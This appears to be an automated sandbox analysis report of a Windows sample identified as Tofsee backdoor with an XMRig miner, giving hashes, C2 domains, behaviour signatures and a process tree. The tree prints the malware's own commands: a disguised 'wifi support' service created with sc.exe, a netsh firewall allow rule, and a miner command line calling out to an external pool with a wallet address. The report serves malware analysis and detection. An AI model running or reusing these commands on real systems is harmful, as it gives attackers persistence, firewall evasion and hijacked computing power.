Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    20/12/2022, 10:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    8e97563d38629fc2a922f7506e5a1bc8

  • SHA1

    1c071bc1bb6047393bdf62c224e4857ff5d0c6b5

  • SHA256

    3704fed2da6f7c8145303f50858409822ea8e25043ab5c9884e31589ba4ac622

  • SHA512

    e2de7164ce797612c71d7a70de532450a66b5bf0b4a6d251c90a9afb38f93c6124e0fb21e0769520da88221bebf8fca2ae2cefbdee0709e0b0a62313a2f00549

  • SSDEEP

    3072:GdRg/iLUtW0HRJuHqYPi41ylBAb0TDKqu407b/GwhzwNdnXNHCDml:GHgqLiW29u+D1u4c10Ca

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nzvjmypi\
      2⤵
        PID:1788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pifnexro.exe" C:\Windows\SysWOW64\nzvjmypi\
        2⤵
          PID:904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nzvjmypi binPath= "C:\Windows\SysWOW64\nzvjmypi\pifnexro.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nzvjmypi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nzvjmypi
          2⤵
          • Launches sc.exe
          PID:364
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:996
      • C:\Windows\SysWOW64\nzvjmypi\pifnexro.exe
        C:\Windows\SysWOW64\nzvjmypi\pifnexro.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:676

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\pifnexro.exe
              Filesize

              14.8MB

              MD5

              dee64a8fa61a70065cb548641b27e226

              SHA1

              48b41e8a771f1b7fff931fdc982033572f55fc4c

              SHA256

              96581f2a5304fdc72a6c3185bfd889bc5687c2df1bdc0a16048e2670d4beac59

              SHA512

              90b6019052c1374ec521a1d8a769740d00edfc45f93c9f6f075b9b97fe1697aa52918ef1df5e0b6e5c8c405115e619c4d5f3107dbc31abaef653a1fec9c2a3d6

              Download Submit

            • C:\Windows\SysWOW64\nzvjmypi\pifnexro.exe
              Filesize

              14.8MB

              MD5

              dee64a8fa61a70065cb548641b27e226

              SHA1

              48b41e8a771f1b7fff931fdc982033572f55fc4c

              SHA256

              96581f2a5304fdc72a6c3185bfd889bc5687c2df1bdc0a16048e2670d4beac59

              SHA512

              90b6019052c1374ec521a1d8a769740d00edfc45f93c9f6f075b9b97fe1697aa52918ef1df5e0b6e5c8c405115e619c4d5f3107dbc31abaef653a1fec9c2a3d6

              Download Submit

            • memory/676-99-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

              Download

            • memory/676-97-0x00000000000C0000-0x00000000001B1000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1184-57-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download

            • memory/1184-56-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

              Download

            • memory/1184-54-0x0000000074BB1000-0x0000000074BB3000-memory.dmp

              Filesize

              8KB

              Download

            • memory/1184-55-0x000000000054B000-0x000000000055B000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1184-66-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download

            • memory/1292-85-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1292-71-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1292-106-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1292-69-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1292-78-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1292-79-0x0000000001880000-0x0000000001A8F000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/1292-82-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

              Download

            • memory/1292-88-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

              Download

            • memory/1292-91-0x0000000005540000-0x000000000594B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/1292-94-0x00000000001C0000-0x00000000001C7000-memory.dmp

              Filesize

              28KB

              Download

            • memory/1804-75-0x0000000000400000-0x000000000045F000-memory.dmp

              Filesize

              380KB

              Download

            • memory/1804-73-0x00000000005BB000-0x00000000005CB000-memory.dmp

              Filesize

              64KB

              Download